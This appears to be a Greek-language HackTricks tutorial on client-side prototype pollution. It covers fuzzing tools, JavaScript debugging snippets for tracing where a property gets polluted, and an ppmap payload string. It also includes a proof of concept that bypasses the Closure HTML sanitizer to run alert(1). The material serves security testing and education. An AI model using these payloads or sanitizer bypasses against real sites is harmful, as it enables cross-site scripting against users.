Client Side Prototype Pollution
Reading time: 6 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Ανακάλυψη χρησιμοποιώντας Αυτόματα εργαλεία
Τα εργαλεία https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap και https://github.com/kosmosec/proto-find μπορούν να χρησιμοποιηθούν για να βρουν ευπάθειες πρωτοτύπου ρύθμισης.
Επιπλέον, μπορείτε επίσης να χρησιμοποιήσετε την επέκταση του προγράμματος περιήγησης PPScan για να σαρώσετε αυτόματα τις σελίδες που πρόσβαση για ευπάθειες πρωτοτύπου ρύθμισης.
Αποσφαλμάτωση όπου χρησιμοποιείται μια ιδιότητα
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
})
Εύρεση της ρίζας του Prototype Pollution
Μόλις εντοπιστεί μια ευπάθεια Prototype Pollution από οποιοδήποτε από τα εργαλεία, και αν ο κώδικας δεν είναι υπερβολικά περίπλοκος, μπορείς να βρεις την ευπάθεια αναζητώντας λέξεις-κλειδιά όπως location.hash
, decodeURIComponent
ή location.search
στα Chrome Developer Tools. Αυτή η προσέγγιση σου επιτρέπει να εντοπίσεις την ευάλωτη ενότητα του JavaScript κώδικα.
Για μεγαλύτερες και πιο περίπλοκες βάσεις κώδικα, μια απλή μέθοδος για να ανακαλύψεις τον ευάλωτο κώδικα περιλαμβάνει τα εξής βήματα:
- Χρησιμοποίησε ένα εργαλείο για να εντοπίσεις μια ευπάθεια και να αποκτήσεις ένα payload σχεδιασμένο να ορίσει μια ιδιότητα στον κατασκευαστή. Ένα παράδειγμα που παρέχεται από το ppmap μπορεί να μοιάζει με:
constructor[prototype][ppmap]=reserved
. - Ορίστε ένα breakpoint στην πρώτη γραμμή του JavaScript κώδικα που θα εκτελεστεί στη σελίδα. Ανανεώστε τη σελίδα με το payload, παγώνοντας την εκτέλεση σε αυτό το breakpoint.
- Ενώ η εκτέλεση του JavaScript είναι παγωμένη, εκτέλεσε το παρακάτω script στην κονσόλα JS. Αυτό το script θα στείλει σήμα όταν δημιουργηθεί η ιδιότητα 'ppmap', βοηθώντας στην τοποθέτηση της προέλευσής της:
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]
Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}
debugAccess(Object.prototype, "ppmap")
- Πλοηγηθείτε πίσω στην καρτέλα Sources και επιλέξτε “Resume script execution”. Το JavaScript θα συνεχίσει να εκτελείται και η ιδιότητα 'ppmap' θα μολυνθεί όπως αναμενόταν. Η χρήση του παρεχόμενου αποσπάσματος διευκολύνει την αναγνώριση της ακριβούς τοποθεσίας όπου η ιδιότητα 'ppmap' μολύνεται. Εξετάζοντας το Call Stack, μπορούν να παρατηρηθούν διαφορετικές στοίβες όπου συνέβη η μόλυνση.
Όταν αποφασίζετε ποια στοίβα να ερευνήσετε, είναι συχνά χρήσιμο να στοχεύετε σε στοίβες που σχετίζονται με αρχεία βιβλιοθηκών JavaScript, καθώς η μόλυνση πρωτοτύπων συμβαίνει συχνά μέσα σε αυτές τις βιβλιοθήκες. Εντοπίστε τη σχετική στοίβα εξετάζοντας τη σύνδεσή της με αρχεία βιβλιοθηκών (ορατά στη δεξιά πλευρά, παρόμοια με μια εικόνα που παρέχεται για καθοδήγηση). Σε σενάρια με πολλές στοίβες, όπως αυτές στις γραμμές 4 και 6, η λογική επιλογή είναι η στοίβα στη γραμμή 4, καθώς αντιπροσωπεύει την αρχική εμφάνιση της μόλυνσης και επομένως την ρίζα της ευπάθειας. Κάνοντας κλικ στη στοίβα θα σας κατευθύνει στον ευάλωτο κώδικα.
Εύρεση Gadget Σκριπτών
Το gadget είναι ο κώδικας που θα καταχραστεί μόλις ανακαλυφθεί μια ευπάθεια PP.
Αν η εφαρμογή είναι απλή, μπορούμε να αναζητήσουμε λέξεις-κλειδιά όπως srcdoc/innerHTML/iframe/createElement
και να ελέγξουμε τον πηγαίο κώδικα και να δούμε αν οδηγεί σε εκτέλεση javascript. Μερικές φορές, οι αναφερόμενες τεχνικές μπορεί να μην βρουν καθόλου gadgets. Σε αυτή την περίπτωση, η καθαρή ανασκόπηση του πηγαίου κώδικα αποκαλύπτει μερικά ωραία gadgets όπως το παρακάτω παράδειγμα.
Παράδειγμα Εύρεσης Gadget PP στον κώδικα της βιβλιοθήκης Mithil
Ελέγξτε αυτή τη γραφή: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
Ανασύνθεση payloads για ευάλωτες βιβλιοθήκες
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution
- https://github.com/BlackFan/client-side-prototype-pollution
Παράκαμψη HTML Sanitizers μέσω PP
Αυτή η έρευνα δείχνει gadgets PP που χρησιμοποιούνται για να παρακάμψουν τις απολυμάνσεις που παρέχονται από ορισμένες βιβλιοθήκες HTML sanitizers:
- sanitize-html
.png)
- dompurify
.png)
- Closure
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
</script>
Αναφορές
- https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746
- https://blog.s1r1us.ninja/research/PP
- https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/#:~:text=my%20challenge.-,Closure,-Closure%20Sanitizer%20has
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.